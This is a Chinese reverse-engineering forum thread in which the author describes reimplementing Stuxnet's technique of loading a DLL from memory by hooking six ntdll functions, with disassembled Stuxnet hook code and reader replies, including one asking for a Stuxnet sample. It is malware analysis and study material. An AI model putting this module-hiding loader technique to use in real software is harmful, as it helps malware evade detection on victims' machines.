首页
社区
课程
招聘
[原创]A了Stuxnet的加载DLL代码--从内存中加载某个DLL
发表于: 2013-6-15 21:20 15200

[原创]A了Stuxnet的加载DLL代码--从内存中加载某个DLL

2013-6-15 21:20
15200

Stuxnet出来很久很久了,之前看过分析文档,觉得它的加载DLL的方式比较有意思,一直没有时间来整,近段时间比较空闲,于是就有了这篇文章

首先,Stuxnet加载DLL的方式,不是传统的PE LOADER,而是将一片内容重新映射,这样做的效果就是,映射过后,这个DLL没有出现在模块列表中,但是可以GetProcAddress获得DLL的导出函数,Stuxnet调用15号导出函数就是这么干的。

Stuxnet的做法如下:
HOOK了6个ntdll的函数,分别为:

ZwCreateSection
ZwClose
ZwMapViewOfSection
ZwOpenFile
ZwQueryAttributesFile
ZwQuerySection
.text:10001B87 loc_10001B87:                 ; DATA XREF: sub_100017F5+108o
.text:10001B87                                         ; .text:off_10001AB2o
.text:10001B87                 pop     edx
.text:10001B88                 test    dl, dl
.text:10001B8A                 jz      short loc_10001BB1 ; ZwMapViewOfSection
.text:10001B8C                 dec     dl
.text:10001B8E                 jz      loc_10001C16    ; ZwCreateSection
.text:10001B94                 dec     dl
.text:10001B96                 jz      loc_10001C57    ; ZwOpenFile
.text:10001B9C                 dec     dl
.text:10001B9E                 jz      loc_10001CA2    ; ZwClose
.text:10001BA4                 dec     dl
.text:10001BA6                 jz      loc_10001CEC    ; ZwQueryAttributesFile
.text:10001BAC                 jmp     loc_10001D3D    ; ZwQuerySection
.text:10001CF5                 push    eax
.text:10001CF6                 push    edx
.text:10001CF7                 push    edi
.text:10001CF8                 mov     edi, [esp+14h]
.text:10001CFC                 call    CompareName
.text:10001D01                 pop     edi
.text:10001D02                 pop     edx
.text:10001D03                 test    eax, eax
.text:10001D05                 jz      short loc_10001D1A
.text:10001D07                 pop     eax
.text:10001D08                 test    edx, edx
.text:10001D0A                 jz      short loc_10001D17
.text:10001D0C                 mov     edx, [esp+0Ch]
.text:10001D10                [COLOR="red"] mov     dword ptr [edx+20h], 80h[/COLOR]
.text:10001D17
.text:10001D17 loc_10001D17:                           ; CODE XREF: .text:10001D0Aj
.text:10001D17                 xor     eax, eax
.text:10001D19                 retn
.text:10001D1A ; ---------------------------------------------------------------------------
.text:10001D1A
.text:10001D1A loc_10001D1A:                           ; CODE XREF: .text:10001D05j
.text:10001D1A                 pop     eax
.text:10001D1B
.text:10001D1B loc_10001D1B:                           ; CODE XREF: .text:10001CF3j
.text:10001D1B                 push    edx
.text:10001D1C                 call    sub_10001DF1
.text:10001D21                 cmp     dword ptr [edx+4], 0
.text:10001D25                 jnz     short loc_10001D30
.text:10001D27                 pop     edx
.text:10001D28                 lea     edx, [esp+8]
.text:10001D2C                 int     2Eh             ; DOS 2+ internal - EXECUTE COMMAND
.text:10001D2C                                         ; DS:SI -> counted CR-terminated command string
.text:10001D2E                 jmp     short locret_10001D3C
.text:10001D30 ; ---------------------------------------------------------------------------
.text:10001D30
.text:10001D30 loc_10001D30:                           ; CODE XREF: .text:10001D25j
.text:10001D30                 pop     edx
.text:10001D31                 lea     edx, [esp+8]
.text:10001D35                 call    large dword ptr fs:0C0h
.text:10001D3C
.text:10001D3C locret_10001D3C:                        ; CODE XREF: .text:10001D2Ej
.text:10001D3C                 retn
.text:10001C60                 push    eax
.text:10001C61                 push    edi
.text:10001C62                 mov     edi, [esp+18h]
.text:10001C66                 call    CompareName
.text:10001C6B                 mov     edx, eax
.text:10001C6D                 pop     edi
.text:10001C6E                 pop     eax
.text:10001C6F                 test    edx, edx
.text:10001C71                 jz      short loc_10001C80
.text:10001C73                 mov     eax, [esp+8]
.text:10001C77                 mov     dword ptr [eax], 0AE1982AEh
.text:10001C7D                 xor     eax, eax
.text:10001C7F                 retn
.text:10001C80 ; ---------------------------------------------------------------------------
.text:10001C80
.text:10001C80 loc_10001C80:                           ; CODE XREF: .text:10001C5Ej
.text:10001C80                                         ; .text:10001C71j
.text:10001C80                 push    edx
.text:10001C81                 call    sub_10001DF1
.text:10001C86                 cmp     dword ptr [edx+4], 0
.text:10001C8A                 jnz     short loc_10001C95
.text:10001C8C                 pop     edx
.text:10001C8D                 lea     edx, [esp+8]
.text:10001C91                 int     2Eh             ; DOS 2+ internal - EXECUTE COMMAND
.text:10001C91                                         ; DS:SI -> counted CR-terminated command string
.text:10001C93                 jmp     short locret_10001CA1
.text:10001C95 ; ---------------------------------------------------------------------------
.text:10001C95
.text:10001C95 loc_10001C95:                           ; CODE XREF: .text:10001C8Aj
.text:10001C95                 pop     edx
.text:10001C96                 lea     edx, [esp+8]
.text:10001C9A                 call    large dword ptr fs:0C0h
.text:10001CA1
.text:10001CA1 locret_10001CA1:                        ; CODE XREF: .text:10001C93j
.text:10001CA1                 retn
.text:10001CA2 ; ---------------------------------------------------------------------------
.text:10001CA2
.text:10001CA2 loc_10001CA2:                           ; CODE XREF: .text:10001B9Ej
.text:10001CA2                 [COLOR="Red"]cmp     dword ptr [esp+8], 0AE1982AEh[/COLOR]
.text:10001CAA                 jnz     short loc_10001CAF
.text:10001CAC                 xor     eax, eax
.text:10001CAE                 retn

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 5
支持
分享
最新回复 (18)
雪    币: 114
活跃值: (180)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
此贴必火,前排招租位。。
2013-6-15 21:32
0
雪    币: 142
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
版主,快来射...
2013-6-15 21:34
0
雪    币: 239
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
菜鸟先mark
2013-6-15 22:21
0
雪    币: 220
活跃值: (721)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
前来支持,有码就是好
2013-6-15 22:50
0
雪    币: 276
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
膜拜楼主,不错啊,学习
2013-6-16 07:40
0
雪    币: 116
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
菜鸟过来学习
2013-6-16 09:05
0
雪    币: 243
活跃值: (247)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
dll貌似是国产中望cad
2013-6-16 09:43
0
雪    币: 8835
活跃值: (2404)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
9
话说stuxnet的代码A了某老外论坛里的残疾版Loader。
完整版Loader,某些人手里有。

我的老帖子也是讨论这个问题:
http://bbs.pediy.com/showthread.php?t=159743
2013-6-16 10:06
0
雪    币: 1042
活跃值: (500)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
Mark 123456 有时间学习
2013-6-16 10:18
0
雪    币: 66
活跃值: (25)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
11
原来V大早有研究,学习学习
2013-6-16 12:28
0
雪    币: 677
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
学习了 感谢LZ
2013-6-17 18:40
0
雪    币: 709
活跃值: (2420)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
13
用这种方式加载DLL的好处是什么呢?就是为了隐藏DLL模块?

为了在程序里面再加载另外一个DLL,费劲HOOK一堆函数。
如果单单为了研究技术,那也没什么。如果用于其他方面,看不出有什么优势~~
2013-6-18 11:11
0
雪    币: 8835
活跃值: (2404)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
14
关键是能支持VMP和C#~~~
2013-6-18 11:37
0
雪    币: 796
活跃值: (370)
能力值: ( LV9,RANK:380 )
在线值:
发帖
回帖
粉丝
15
我是来膜拜楼上的楼上那么多精华文章的。
2013-6-18 12:58
0
雪    币: 47
活跃值: (31)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
AV组合真是形影不离啊
2013-6-22 09:49
0
雪    币: 66
活跃值: (25)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
17
顿时感觉层次不够了。。看来还需要继续锻炼啊。。
2013-7-4 14:15
0
雪    币: 1283
活跃值: (46)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
18
在俺的电脑上编译了之后,跑不起来,
DWORD GetEAX()
{
        DWORD dwEAX;
        _asm
        {
                mov dwEAX,eax;
        }
        return dwEAX;
}
此函数返回的EAX的值是一长串数字,不是需要Hook的入口数字。。。。所以,在DWORD ZwDetour()这个总是返回0咯。。。XP系统,VC6编译!
2013-7-11 14:44
0
雪    币: 5
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
楼主有木有震网病毒的样本呀,,,可不可以分享下,,,
2020-5-25 21:22
0
游客
登录 | 注册 方可回帖
返回
//